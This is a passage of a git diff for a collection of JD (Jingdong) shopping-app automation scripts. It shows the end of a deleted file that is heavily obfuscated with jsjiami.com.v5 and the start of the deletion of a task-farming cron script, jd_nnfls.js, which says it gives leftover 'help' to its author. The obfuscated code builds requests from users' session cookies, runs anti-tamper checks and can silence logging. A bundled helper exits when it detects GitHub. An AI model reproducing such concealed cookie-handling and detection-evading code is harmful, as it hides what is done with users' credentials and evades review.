45')][_0x4a89('0x508','\x69\x29\x75\x31')];continue;case'\x32':$[_0x4a89('0x509','\x59\x35\x4e\x31')]=_0x20679d[_0x4a89('0x50a','\x73\x75\x5e\x55')][_0x4a89('0x50b','\x72\x29\x5b\x4f')][_0x4a89('0x50c','\x59\x35\x4e\x31')];continue;case'\x33':$[_0x4a89('0x50d','\x48\x42\x70\x46')]=_0x20679d[_0x4a89('0x50e','\x34\x4f\x38\x7a')][_0x4a89('0x50f','\x35\x31\x52\x64')][_0x4a89('0x510','\x69\x29\x75\x31')];continue;case'\x34':$[_0x4a89('0x240','\x73\x38\x25\x52')]=_0x20679d[_0x4a89('0x511','\x30\x56\x64\x26')][_0x4a89('0x30c','\x59\x35\x4e\x31')];continue;case'\x35':$[_0x4a89('0x1f2','\x2a\x26\x5a\x74')]=_0x20679d[_0x4a89('0x363','\x59\x35\x4e\x31')];continue;case'\x36':$[_0x4a89('0x512','\x73\x38\x25\x52')]=_0x20679d[_0x4a89('0x50e','\x34\x4f\x38\x7a')][_0x4a89('0x513','\x41\x2a\x23\x48')][_0x4a89('0x514','\x37\x77\x34\x40')]();continue;}break;}}}else if(_0x59f8db[_0x4a89('0x515','\x79\x40\x64\x4b')](_0x4fb4fd,_0x59f8db[_0x4a89('0x516','\x76\x68\x49\x5d')])){console[_0x4a89('0x28b','\x76\x6e\x71\x41')](_0x4a89('0x517','\x4d\x52\x33\x40')+_0x20679d[_0x4a89('0x429','\x26\x49\x24\x6e')][_0x4a89('0x518','\x66\x4c\x42\x4c')]+'\x29');}}else{console[_0x4a89('0x8e','\x44\x55\x45\x49')](_0x20679d[_0x4a89('0x4d0','\x48\x42\x70\x46')][_0x4a89('0x519','\x69\x29\x75\x31')]);}}else if(_0x20679d[_0x4a89('0x4e9','\x73\x5a\x2a\x75')][_0x4a89('0x51a','\x63\x5b\x4a\x78')]){if(_0x59f8db[_0x4a89('0x51b','\x44\x55\x45\x49')](_0x59f8db[_0x4a89('0x51c','\x29\x28\x25\x40')],_0x59f8db[_0x4a89('0x51d','\x2a\x26\x74\x73')])){console[_0x4a89('0xab','\x32\x50\x78\x4b')](_0x20679d[_0x4a89('0x51e','\x32\x50\x78\x4b')][_0x4a89('0x51f','\x2a\x26\x74\x73')]);}else{var _0x1ec7e9=_0x59f8db[_0x4a89('0x520','\x41\x2a\x23\x48')][_0x4a89('0x521','\x63\x6d\x33\x74')]('\x7c'),_0x19658a=0x0;while(!![]){switch(_0x1ec7e9[_0x19658a++]){case'\x30':$[_0x4a89('0x320','\x66\x4c\x42\x4c')]=_0x20679d[_0x4a89('0x522','\x66\x5a\x31\x52')][_0x4a89('0x523','\x37\x77\x34\x40')];continue;case'\x31':$[_0x4a89('0x43e','\x30\x56\x64\x26')]=_0x20679d[_0x4a89('0x524','\x21\x43\x21\x45')];continue;case'\x32':$[_0x4a89('0x525','\x77\x25\x77\x37')]=JSON[_0x4a89('0x526','\x77\x25\x77\x37')](_0x20679d[_0x4a89('0x527','\x73\x38\x25\x52')][_0x4a89('0x528','\x30\x56\x64\x26')])[_0x4a89('0x44b','\x73\x75\x5e\x55')];continue;case'\x33':$[_0x4a89('0x529','\x4a\x72\x5a\x70')][_0x4a89('0x52a','\x21\x43\x21\x45')]($[_0x4a89('0x52b','\x28\x34\x68\x71')]);continue;case'\x34':$[_0x4a89('0x52c','\x6b\x75\x5d\x50')]=_0x20679d[_0x4a89('0x52d','\x26\x49\x24\x6e')];continue;case'\x35':$[_0x4a89('0x52e','\x48\x42\x70\x46')]=_0x20679d[_0x4a89('0x52f','\x21\x4f\x50\x57')];continue;}break;}}}else if(_0x20679d[_0x4a89('0x530','\x61\x6f\x26\x38')]){console[_0x4a89('0x450','\x34\x4f\x38\x7a')](_0x4fb4fd+'\x20'+_0x20679d[_0x4a89('0x531','\x31\x38\x57\x50')]);}else{console[_0x4a89('0x181','\x4d\x52\x33\x40')](_0x1b60b1);}}else if(_0x20679d[_0x4a89('0x415','\x79\x46\x54\x35')]){console[_0x4a89('0x147','\x73\x38\x25\x52')](_0x4fb4fd+'\x20'+_0x20679d[_0x4a89('0x532','\x4d\x6e\x43\x2a')]);}else{if(_0x59f8db[_0x4a89('0x533','\x40\x25\x33\x64')](_0x59f8db[_0x4a89('0x534','\x66\x4c\x42\x4c')],_0x59f8db[_0x4a89('0x535','\x66\x75\x5b\x65')])){console[_0x4a89('0x86','\x66\x4c\x42\x4c')](_0x1b60b1);}else{console[_0x4a89('0x78','\x61\x6f\x26\x38')](_0x4a89('0x536','\x4e\x5a\x4c\x52')+_0x20679d[_0x4a89('0x537','\x30\x56\x64\x26')][_0x4a89('0x538','\x6b\x75\x5d\x50')]+'\x29');}}}}else{console[_0x4a89('0x2b0','\x63\x6d\x33\x74')](_0x1b60b1);}break;default:return _0x20679d;}}else{return JSON[_0x4a89('0x539','\x48\x42\x70\x46')](str);}}catch(_0x22de91){console[_0x4a89('0x128','\x79\x46\x54\x35')](_0x22de91);}}function _0x1a4b84(_0x35ca3b,_0x144e0e,_0x326d9c=_0x4a89('0x53a','\x2a\x26\x74\x73')){var _0x40237a={'wssmk':_0x4a89('0x53b','\x48\x42\x70\x46'),'vtqyG':_0x4a89('0x53c','\x21\x4f\x50\x57'),'oHWIo':_0x4a89('0x53d','\x76\x6e\x71\x41'),'iKPJs':_0x4a89('0x53e','\x79\x40\x64\x4b'),'NUuKv':_0x4a89('0x53f','\x35\x31\x52\x64'),'GlWBm':_0x4a89('0x540','\x76\x6e\x71\x41'),'rIjSJ':function _0x3de470(_0x16cec4,_0x4287b2){return _0x16cec4>_0x4287b2;},'VFYkm':_0x4a89('0x541','\x66\x75\x5b\x65'),'vrNCb':function _0x32db6d(_0x2e8602,_0x301d71){return _0x2e8602!==_0x301d71;},'kfACm':_0x4a89('0x542','\x4a\x72\x5a\x70'),'eNcXd':_0x4a89('0x543','\x6e\x70\x2a\x75'),'LVUMn':_0x4a89('0x544','\x4d\x52\x33\x40'),'jJAgo':_0x4a89('0x545','\x26\x49\x24\x6e'),'OBpTV':function _0x12da73(_0x48917a,_0x362d5c){return _0x48917a!=_0x362d5c;},'osqzm':_0x4a89('0x546','\x4d\x52\x33\x40')};let _0x52bbd8={'Accept':_0x40237a[_0x4a89('0x547','\x29\x78\x71\x25')],'Accept-Encoding':_0x40237a[_0x4a89('0x548','\x29\x78\x71\x25')],'Accept-Language':_0x40237a[_0x4a89('0x549','\x63\x6d\x33\x74')],'Connection':_0x40237a[_0x4a89('0x54a','\x21\x43\x21\x45')],'Content-Type':_0x40237a[_0x4a89('0x54b','\x73\x5a\x2a\x75')],'Cookie':_0x161eab,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x40237a[_0x4a89('0x54c','\x63\x6d\x33\x74')]};if(_0x40237a[_0x4a89('0x54d','\x66\x5a\x31\x52')](_0x35ca3b[_0x4a89('0x54e','\x6c\x5d\x34\x4d')](_0x40237a[_0x4a89('0x54f','\x21\x43\x21\x45')]),-0x1)){if(_0x40237a[_0x4a89('0x550','\x76\x6e\x71\x41')](_0x40237a[_0x4a89('0x551','\x73\x5a\x2a\x75')],_0x40237a[_0x4a89('0x552','\x6c\x5d\x34\x4d')])){_0x52bbd8[_0x40237a[_0x4a89('0x553','\x6b\x75\x5d\x50')]]=_0x40237a[_0x4a89('0x554','\x59\x35\x4e\x31')];delete _0x52bbd8[_0x4a89('0x555','\x69\x73\x50\x5b')];}else{if(res[_0x4a89('0x556','\x7a\x44\x24\x37')]){if(_0x40237a[_0x4a89('0x557','\x73\x38\x25\x52')](typeof res[_0x4a89('0x558','\x69\x29\x75\x31')],_0x40237a[_0x4a89('0x559','\x41\x2a\x23\x48')]))$[_0x4a89('0x55a','\x76\x68\x49\x5d')]=res[_0x4a89('0x55b','\x44\x55\x45\x49')];}else if(res[_0x4a89('0x55c','\x29\x78\x71\x25')]){console[_0x4a89('0x24c','\x66\x5a\x31\x52')](_0x4a89('0x55d','\x63\x5b\x4a\x78')+res[_0x4a89('0x55e','\x4e\x2a\x74\x79')]);}else{console[_0x4a89('0x2ac','\x4e\x2a\x74\x79')](data);}}}return{'url':_0x35ca3b,'method':_0x326d9c,'headers':_0x52bbd8,'body':JSON[_0x4a89('0x55f','\x76\x40\x53\x26')](_0x144e0e),'timeout':0x7530};}function _0x85c545(_0xb467be){var _0xaa4e4a={'QigHL':function _0x42ec97(_0x40b998,_0x2d61b6){return _0x40b998||_0x2d61b6;},'UIuwJ':_0x4a89('0x560','\x29\x78\x71\x25'),'lGjhq':function _0x5d8ecb(_0x5ba464,_0x579b98){return _0x5ba464<_0x579b98;},'IKWOr':function _0x4c31d2(_0x1b8b8f,_0x514926){return _0x1b8b8f*_0x514926;}};_0xb467be=_0xaa4e4a[_0x4a89('0x561','\x76\x40\x53\x26')](_0xb467be,0x20);let _0x9e7bc5=_0xaa4e4a[_0x4a89('0x562','\x5e\x2a\x37\x5d')],_0x2847a5=_0x9e7bc5[_0x4a89('0x563','\x73\x75\x5e\x55')],_0x3c79c6='';for(let _0x9fc8c1=0x0;_0xaa4e4a[_0x4a89('0x564','\x66\x4c\x42\x4c')](_0x9fc8c1,_0xb467be);_0x9fc8c1++)_0x3c79c6+=_0x9e7bc5[_0x4a89('0x565','\x73\x38\x25\x52')](Math[_0x4a89('0x566','\x2a\x26\x5a\x74')](_0xaa4e4a[_0x4a89('0x567','\x2a\x26\x5a\x74')](Math[_0x4a89('0x568','\x33\x6b\x57\x54')](),_0x2847a5)));return _0x3c79c6;}function _0x40c5ce(_0x50d63d,_0x505d0a){var _0x2e9752={'EUIkm':function _0xf2a5dd(_0x999ddc,_0x3622a0){return _0x999ddc+_0x3622a0;},'FrfND':function _0x140475(_0x3ca4e9,_0x1a8637){return _0x3ca4e9*_0x1a8637;},'bvxxf':function _0x103ca5(_0x4961e4,_0xf0fff0){return _0x4961e4-_0xf0fff0;}};var _0x3d4ac7=Math[_0x4a89('0x569','\x73\x5a\x2a\x75')](_0x2e9752[_0x4a89('0x56a','\x30\x56\x64\x26')](_0x2e9752[_0x4a89('0x56b','\x72\x29\x5b\x4f')](Math[_0x4a89('0x56c','\x73\x5a\x2a\x75')](),_0x2e9752[_0x4a89('0x56d','\x34\x4f\x38\x7a')](_0x2e9752[_0x4a89('0x56e','\x73\x5a\x2a\x75')](_0x505d0a,_0x50d63d),0x1)),_0x50d63d));return _0x3d4ac7;}function _0x11e097(_0x332785){var _0x115d27=function(){var _0x4604f5=!![];return function(_0x1a7bbb,_0x47e9c8){var _0x52c816=_0x4604f5?function(){if(_0x47e9c8){var _0x1e28cf=_0x47e9c8['apply'](_0x1a7bbb,arguments);_0x47e9c8=null;return _0x1e28cf;}}:function(){};_0x4604f5=![];return _0x52c816;};}();var _0x563f48=_0x115d27(this,function(){var _0x463d05=function(){return'\x64\x65\x76';},_0xa73403=function(){return'\x77\x69\x6e\x64\x6f\x77';};var _0x2d5fd9=function(){var _0x2f06ae=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!_0x2f06ae['\x74\x65\x73\x74'](_0x463d05['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x3461cd=function(){var _0xbce843=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return _0xbce843['\x74\x65\x73\x74'](_0xa73403['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var _0x1a330c=function(_0x5eb9ad){var _0x3c5029=~-0x1>>0x1+0xff%0x0;if(_0x5eb9ad['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===_0x3c5029)){_0x5150c8(_0x5eb9ad);}};var _0x5150c8=function(_0x1c9f5b){var _0x22b017=~-0x4>>0x1+0xff%0x0;if(_0x1c9f5b['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==_0x22b017){_0x1a330c(_0x1c9f5b);}};if(!_0x2d5fd9()){if(!_0x3461cd()){_0x1a330c('\x69\x6e\x64\u0435\x78\x4f\x66');}else{_0x1a330c('\x69\x6e\x64\x65\x78\x4f\x66');}}else{_0x1a330c('\x69\x6e\x64\u0435\x78\x4f\x66');}});_0x563f48();var _0x331434={'TsuOy':function _0x4b0da4(_0xad0d18,_0x28d125){return _0xad0d18==_0x28d125;},'zvxfy':_0x4a89('0x56f','\x29\x28\x25\x40'),'okPEB':_0x4a89('0x570','\x29\x78\x71\x25')};if(_0x331434[_0x4a89('0x571','\x79\x46\x54\x35')](typeof _0x332785,_0x331434[_0x4a89('0x572','\x37\x77\x34\x40')])){try{return JSON[_0x4a89('0x573','\x29\x28\x25\x40')](_0x332785);}catch(_0x4b5fdc){console[_0x4a89('0x3e','\x73\x5a\x2a\x75')](_0x4b5fdc);$[_0x4a89('0x574','\x41\x2a\x23\x48')]($[_0x4a89('0x575','\x32\x50\x78\x4b')],'',_0x331434[_0x4a89('0x576','\x63\x6d\x33\x74')]);return[];}}}async function _0x40e887(){var _0x56de6a={'XxeTH':function _0x4b490d(_0x108c73,_0x4a46d1){return _0x108c73(_0x4a46d1);}};$['\x55\x41']=_0x4a89('0x577','\x48\x42\x70\x46')+_0x56de6a[_0x4a89('0x578','\x33\x6b\x57\x54')](_0x85c545,0x28)+_0x4a89('0x579','\x66\x75\x5b\x65');}function _0x270bd5(_0xc258b1,_0x5813d5,_0x2b811a){var _0x4f10a3={'kGNVz':function _0x449b53(_0x3b12dd,_0x3a7c64){return _0x3b12dd==_0x3a7c64;},'ugZJW':function _0x5484db(_0x2e6e2d,_0xe304c0){return _0x2e6e2d==_0xe304c0;},'pWklt':_0x4a89('0x57a','\x6c\x5d\x34\x4d'),'GuBzJ':function _0x21bcaa(_0x23c925,_0x177b39){return _0x23c925===_0x177b39;},'kTxCW':_0x4a89('0x57b','\x76\x40\x53\x26'),'tuXRI':_0x4a89('0x57c','\x30\x56\x64\x26'),'zeqcd':_0x4a89('0x57d','\x6c\x5d\x34\x4d'),'rsRUF':_0x4a89('0xa','\x44\x41\x65\x70'),'YxndM':function _0x370da4(_0xfb3fbb,_0x5eab19){return _0xfb3fbb===_0x5eab19;},'GrROG':_0x4a89('0x57e','\x33\x6b\x57\x54')};(_0x4f10a3[_0x4a89('0x57f','\x34\x4f\x38\x7a')](_0x2b811a,0x1)||_0x4f10a3[_0x4a89('0x580','\x57\x34\x33\x26')](_0x2b811a,0x2))&&_0x4f10a3[_0x4a89('0x581','\x2a\x26\x5a\x74')](typeof _0xc258b1,_0x4f10a3[_0x4a89('0x582','\x6e\x70\x2a\x75')])&&(_0xc258b1=JSON[_0x4a89('0x583','\x4e\x5a\x4c\x52')](_0xc258b1));switch(_0x2b811a){case 0x1:var _0x3ef5ed=$[_0x4a89('0x584','\x44\x55\x45\x49')][_0x4a89('0x585','\x32\x50\x78\x4b')];break;case 0x2:var _0x3ef5ed=$[_0x4a89('0x586','\x44\x41\x65\x70')][_0x4a89('0x587','\x73\x75\x5e\x55')];break;case 0x3:var _0x3ef5ed=$[_0x4a89('0xa2','\x66\x75\x5b\x65')][_0x4a89('0x588','\x6b\x75\x5d\x50')];break;case 0x4:var _0x3ef5ed=$[_0x4a89('0x589','\x21\x43\x21\x45')][_0x4a89('0x58a','\x61\x6f\x26\x38')];break;}if(!_0xc258b1[_0x4a89('0x1d1','\x76\x40\x53\x26')]){if(_0x4f10a3[_0x4a89('0x58b','\x66\x75\x5b\x65')](_0x4f10a3[_0x4a89('0x58c','\x66\x4c\x42\x4c')],_0x4f10a3[_0x4a89('0x58d','\x66\x5a\x31\x52')])){var _0x592ce4=_0x3b5a4b[_0x4a89('0x58e','\x34\x4f\x38\x7a')][_0x4a89('0x2a0','\x73\x5a\x2a\x75')](_0xc258b1,_0x3b5a4b[_0x4a89('0x58f','\x76\x6e\x71\x41')][_0x4a89('0x590','\x48\x42\x70\x46')][_0x4a89('0x3f6','\x57\x34\x33\x26')](_0x3ef5ed),{'iv':_0x3b5a4b[_0x4a89('0x591','\x66\x5a\x31\x52')][_0x4a89('0x592','\x57\x34\x33\x26')][_0x4a89('0x593','\x44\x55\x45\x49')](_0x5813d5),'mode':_0x3b5a4b[_0x4a89('0x594','\x34\x4f\x38\x7a')][_0x4a89('0x595','\x66\x75\x5b\x65')],'padding':_0x3b5a4b[_0x4a89('0x596','\x21\x43\x21\x45')][_0x4a89('0x597','\x41\x2a\x23\x48')]}),_0x44195c=_0x592ce4[_0x4a89('0x598','\x4e\x2a\x74\x79')]();return _0x44195c;}else{var _0x1cec39=new Buffer[(_0x4a89('0x599','\x5e\x2a\x37\x5d'))](_0x4f10a3[_0x4a89('0x59a','\x44\x55\x45\x49')],_0x4f10a3[_0x4a89('0x59b','\x4a\x72\x5a\x70')])[_0x4a89('0x59c','\x44\x41\x65\x70')](_0x4f10a3[_0x4a89('0x59d','\x4a\x72\x5a\x70')]);Object[_0x4a89('0x59e','\x29\x78\x71\x25')](_0x84feb0)[_0x4a89('0x59f','\x73\x75\x5e\x55')](_0x3832ec=>{_0x3406b5[_0x4a89('0x5a0','\x40\x25\x33\x64')](_0x84feb0[_0x3832ec]);});if(process[_0x4a89('0x10','\x2a\x26\x5a\x74')][_0x4a89('0x5a1','\x5e\x2a\x37\x5d')]&&_0x4f10a3[_0x4a89('0x5a2','\x31\x38\x57\x50')](process[_0x4a89('0x5a3','\x29\x28\x25\x40')][_0x4a89('0x5a4','\x66\x75\x5b\x65')],_0x4f10a3[_0x4a89('0x5a5','\x32\x50\x78\x4b')]))console[_0x4a89('0x277','\x7a\x44\x24\x37')]=()=>{};}}else{var _0x1bc92c=_0x3b5a4b[_0x4a89('0x5a6','\x35\x31\x52\x64')][_0x4a89('0x5a7','\x63\x6d\x33\x74')](_0xc258b1[_0x4a89('0x5a8','\x34\x4f\x38\x7a')],_0x3b5a4b[_0x4a89('0x5a9','\x73\x5a\x2a\x75')][_0x4a89('0x590','\x48\x42\x70\x46')][_0x4a89('0x5aa','\x29\x78\x71\x25')](_0x3ef5ed),{'iv':_0x3b5a4b[_0x4a89('0x5ab','\x2a\x26\x74\x73')][_0x4a89('0x5ac','\x4e\x2a\x74\x79')][_0x4a89('0x5ad','\x30\x56\x64\x26')](_0x5813d5),'mode':_0x3b5a4b[_0x4a89('0x5ae','\x37\x77\x34\x40')][_0x4a89('0x5af','\x63\x6d\x33\x74')],'padding':_0x3b5a4b[_0x4a89('0x5b0','\x4d\x6e\x43\x2a')][_0x4a89('0x5b1','\x73\x5a\x2a\x75')]}),_0x344d07=_0x1bc92c[_0x4a89('0x5b2','\x69\x73\x50\x5b')](_0x3b5a4b[_0x4a89('0x5b3','\x44\x41\x65\x70')][_0x4a89('0x590','\x48\x42\x70\x46')]);return _0x344d07[_0x4a89('0x5b4','\x73\x5a\x2a\x75')]();}};(function(_0x1a3ee9,_0x31a9c6,_0xe5feba){var _0x39ecf6={'AgIpT':_0x4a89('0x5b5','\x44\x41\x65\x70'),'YnHZi':function _0x157447(_0x20344c,_0x4da546){return _0x20344c!==_0x4da546;},'RKEPw':_0x4a89('0x5b6','\x57\x34\x33\x26'),'AQPuO':function _0x12cc6d(_0x41bf1d,_0x38089c){return _0x41bf1d===_0x38089c;},'YVQZp':_0x4a89('0x5b7','\x59\x35\x4e\x31'),'IQHyf':function _0x30c6b0(_0x386e08,_0x17a3af){return _0x386e08+_0x17a3af;},'lyHkK':_0x4a89('0x5b8','\x59\x35\x4e\x31'),'CiRNn':_0x4a89('0x5b9','\x48\x42\x70\x46')};_0xe5feba='\x61\x6c';try{_0xe5feba+=_0x39ecf6[_0x4a89('0x5ba','\x5e\x2a\x37\x5d')];_0x31a9c6=encode_version;if(!(_0x39ecf6[_0x4a89('0x5bb','\x73\x38\x25\x52')](typeof _0x31a9c6,_0x39ecf6[_0x4a89('0x5bc','\x21\x4f\x50\x57')])&&_0x39ecf6[_0x4a89('0x5bd','\x66\x5a\x31\x52')](_0x31a9c6,_0x39ecf6[_0x4a89('0x5be','\x66\x5a\x31\x52')]))){_0x1a3ee9[_0xe5feba](_0x39ecf6[_0x4a89('0x5bf','\x69\x29\x75\x31')]('\u5220\u9664',_0x39ecf6[_0x4a89('0x5c0','\x40\x25\x33\x64')]));}}catch(_0x185725){_0x1a3ee9[_0xe5feba](_0x39ecf6[_0x4a89('0x5c1','\x5e\x2a\x37\x5d')]);}}());;encode_version = 'jsjiami.com.v5'; -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_nnfls.js b/jd_nnfls.js deleted file mode 100644 index ad983f867..000000000 --- a/jd_nnfls.js +++ /dev/null @@ -1,584 +0,0 @@ -/** - 京喜-首页-牛牛福利 - Author:zxx - Date:2021-11-2 - ----------------- - Update: 2021-11-17 修复任务 - ----------------- -先内部助力,有剩余助力作者 - cron 1 0,19,23 * * * https://raw.githubusercontent.com/ZXX2021/jd-scripts/main/jd_nnfls.js - */ -const $ = new Env('牛牛福利'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = 